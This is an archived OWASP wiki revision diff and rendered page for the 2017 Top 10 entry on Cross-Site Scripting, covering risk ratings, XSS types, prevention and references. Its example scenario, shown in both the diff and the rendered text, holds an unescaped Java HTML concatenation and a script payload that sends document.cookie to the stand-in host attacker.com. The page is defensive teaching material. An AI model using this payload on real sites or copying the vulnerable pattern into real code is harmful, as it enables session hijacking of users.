This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Top 10-2017 A7-Cross-Site Scripting (XSS)"

From OWASP
Jump to: navigation, search
m (Editorial changes e.g. line feeds, added and fixed a link)
 
(19 intermediate revisions by 3 users not shown)
Line 1: Line 1:
 
{{Top_10_2013:TopTemplate
 
{{Top_10_2013:TopTemplate
     |usenext=2013NextLink
+
     |useprev=2017PrevLink
     |next=A4-{{Top_10_2010:ByTheNumbers
+
     |prev=A6-{{Top_10_2010:ByTheNumbers
              |4
+
        |6
              |year=2017
+
        |year=2017
              |language=en}}
+
        |language=en
     |useprev=2013PrevLink
+
    }}
     |prev=A2-{{Top_10_2010:ByTheNumbers
+
     |usenext=2017NextLink
              |2
+
     |next=A8-{{Top_10_2010:ByTheNumbers
              |year=2017
+
        |8
              |language=en}}
+
        |year=2017
 +
        |language=en
 +
    }}
 
     |year=2017
 
     |year=2017
 
     |language=en
 
     |language=en
 
}}
 
}}
 
+
<!--- 2017 Cross-Site Scripting (XSS) --->
 
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
 
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
+
{{Top_10-2017:SummaryTableTemplate|exploitability=3 |prevalence=3 |detectability=3 |impact=2 |year=2017|language=en}}
 
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
 
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
+
    <td colspan=2 {{Template:Top_10_2010:SummaryTableRowStyleTemplate|year=2017}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
+
<!--- Threat Agent: --->
</td>
+
Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks. </td>
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
+
    <td colspan=2  {{Template:Top_10_2010:SummaryTableRowStyleTemplate|year=2017}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
+
<!--- Security Weakness: --->
</td>
+
XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications.<br/>Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET. </td>
 +
    <td colspan=2  {{Template:Top_10_2010:SummaryTableRowStyleTemplate|year=2017}}>
 +
<!--- Impacts: --->
 +
The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim's browser, such as stealing credentials, sessions, or delivering malware to the victim. </td>
 +
{{Top_10_2010:SummaryTableEndTemplate|year=2017}}
  
    <td colspan={{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
+
{{Top_10:SubsectionTableBeginTemplate|type=main}}
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks Stored] and (2) [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks Reflected], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
+
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=isTheApplicationVulnerable|position=firstLeft|year=2017|language=en}}
</td>
+
There are three forms of XSS, usually targeting users' browsers:
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
+
* <b>Reflected XSS</b>: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
+
* <b>Stored XSS</b>: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.
</td>
+
* <b>DOM XSS</b>: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.
+
Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user's browser such as malicious software downloads, key logging, and other client-side attacks.
  
Also consider the business impact of public exposure of the vulnerability.
+
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howToPrevent|position=right|year=2017|language=en}}
 +
Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:
 +
* Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework's XSS protection and appropriately handle the use cases which are not covered.
 +
* Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The <u>[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP Cheat Sheet 'XSS Prevention']]</u> has details on the required data escaping techniques.
 +
* Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the <u>[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP Cheat Sheet 'DOM based XSS Prevention']].
 +
* Enabling a <u>[https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP Content Security Policy (CSP)]</u> as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).
  
</td>
+
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=exampleAttackScenarios|position=left|year=2017|language=en}}
{{Top_10_2010:SummaryTableEndTemplate}}
+
<b>Scenario #1</b>: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
 +
{{Top_10_2010:ExampleBeginTemplate|year=2017}}<b><span style="color:red;">
 +
(String) page += "<input name='creditcard' type='TEXT'<br>value='" + request.getParameter("CC") + "'>";
 +
</span></b>{{Top_10_2010:ExampleEndTemplate}}
  
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
+
The attacker modifies the ‘CC’ parameter in the browser to:
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf unsafe JavaScript APIs], but escaping (and to a lesser extent) input validation can be used to make this safe.
+
{{Top_10_2010:ExampleBeginTemplate|year=2017}}<b><span style="color:red;">
 +
'><script>document.location=<br/>'<nowiki>h</nowiki>ttp://www.attacker.com/cgi-bin/cookie.cgi?<br/>foo='+document.cookie</script>'.
 +
</span></b>{{Top_10_2010:ExampleEndTemplate}}
 +
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
  
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
+
<b>Note</b>: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
 
Preventing XSS requires separation of untrusted data from active browser content.
 
# To avoid [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]], the preferred option is to properly escape untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] for details on the required data escaping techniques.
 
# To avoid [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]], the preferred option is to avoid passing untrusted data to JavaScript and other browser APIs that can generate active content. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]].
 
# For rich content, consider auto-sanitization libraries like OWASP’s [[AntiSamy]] or the [[OWASP Java HTML Sanitizer Project|Java HTML Sanitizer Project]].
 
# Consider [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] to defend against XSS across your entire site.
 
  
 +
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|year=2017|language=en}}
 +
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate|year=2017|language=en}}
 +
* <u>[[OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016|OWASP Proactive Controls: Encode Data]]</u>
 +
* <u>[[OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016|OWASP Proactive Controls: Validate Data]]</u>
 +
* <u>[[:Category:OWASP_Application_Security_Verification_Standard_Project|OWASP Application Security Verification Standard: V5]]</u>
 +
* <u>[[Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)|OWASP Testing Guide: Testing for Reflected XSS]]</u>
 +
* <u>[[Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)|OWASP Testing Guide: Testing for Stored XSS]]</u>
 +
* <u>[[Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)|OWASP Testing Guide: Testing for DOM XSS]]</u>
 +
* <u>[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP Cheat Sheet: XSS Prevention]]</u>
 +
* <u>[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP Cheat Sheet: DOM based XSS Prevention]]</u>
 +
* <u>[[XSS_Filter_Evasion_Cheat_Sheet|OWASP Cheat Sheet: XSS Filter Evasion]]</u>
 +
* <u>[[OWASP_Java_Encoder_Project|OWASP Java Encoder Project]]</u>
  
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
+
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|year=2017|language=en}}
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
+
* <u>[https://cwe.mitre.org/data/definitions/79.html CWE-79: Improper neutralization of user supplied input]</u>
 
+
* <u>[https://portswigger.net/kb/issues/00200308_clientsidetemplateinjection PortSwigger: Client-side template injection]</u>
{{Top_10_2010:ExampleBeginTemplate|year=2017}}<span style="color:red;">
 
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
 
</span>{{Top_10_2010:ExampleEndTemplate}}
 
 
 
The attacker modifies the 'CC' parameter in their browser to:
 
 
 
{{Top_10_2010:ExampleBeginTemplate|year=2017}}<span style="color:red;">
 
<span style="color:red;">'><script>document.location=
 
'<nowiki>h</nowiki>ttp://www.attacker.com/cgi-bin/cookie.cgi
 
?foo='+document.cookie</script>'.</span>
 
 
 
</span>{{Top_10_2010:ExampleEndTemplate}}
 
 
 
This attack causes the victim’s session ID to be sent to the the application might employ. See 2017-A8 for info on CSRF. attacker’s website, allowing the attacker to hijack the user’s current session.
 
 
 
Note that attackers can also use XSS to defeat any  automated CSRF defense
 
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
 
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
 
* [[Types of Cross-Site Scripting]]
 
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet
 
]]
 
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
 
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project OWASP Java Encoder API]
 
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
 
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
 
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
 
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
 
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]
 
 
 
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
 
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]
 
  
 
{{Top_10_2013:BottomAdvancedTemplate
 
{{Top_10_2013:BottomAdvancedTemplate
     |type={{Top_10_2010:StyleTemplate}}
+
     |type=box
     |usenext=2013NextLink
+
     |useprev=2017PrevLink
     |next=A4-{{Top_10_2010:ByTheNumbers
+
     |prev=A6-{{Top_10_2010:ByTheNumbers
              |4
+
        |6
              |year=2017
+
        |year=2017
              |language=en}}
+
        |language=en
     |useprev=2013PrevLink
+
    }}
     |prev=A2-{{Top_10_2010:ByTheNumbers
+
     |usenext=2017NextLink
              |2
+
     |next=A8-{{Top_10_2010:ByTheNumbers
              |year=2017
+
        |8
              |language=en}}
+
        |year=2017
 +
        |language=en
 +
    }}
 
     |year=2017
 
     |year=2017
 
     |language=en
 
     |language=en
 
}}
 
}}
 +
 +
<!-- [[Category:OWASP Top Ten Project]] -->

Latest revision as of 16:49, 1 January 2018

← A6-Security Misconfiguration
2017 Table of Contents

PDF version

A8-Insecure Deserialization →
Threat Agents / Attack Vectors Security Weakness Impacts
App Specific Exploitability: 3
Prevalence: 3
Detectability: 3
Technical: 2
Business ?
Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks. XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications.
Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET.
The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim's browser, such as stealing credentials, sessions, or delivering malware to the victim.
Is the Application Vulnerable?

There are three forms of XSS, usually targeting users' browsers:

  • Reflected XSS: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.
  • Stored XSS: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.
  • DOM XSS: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.

Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user's browser such as malicious software downloads, key logging, and other client-side attacks.

How to Prevent

Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:

  • Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework's XSS protection and appropriately handle the use cases which are not covered.
  • Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The OWASP Cheat Sheet 'XSS Prevention' has details on the required data escaping techniques.
  • Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet 'DOM based XSS Prevention'.
  • Enabling a <u>Content Security Policy (CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).
Example Attack Scenarios

Scenario #1: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in the browser to:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.

References

OWASP

External

← A6-Security Misconfiguration
2017 Table of Contents

PDF version

A8-Insecure Deserialization →

© 2002-2017 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. Some rights reserved. CC-by-sa-3 0-88x31.png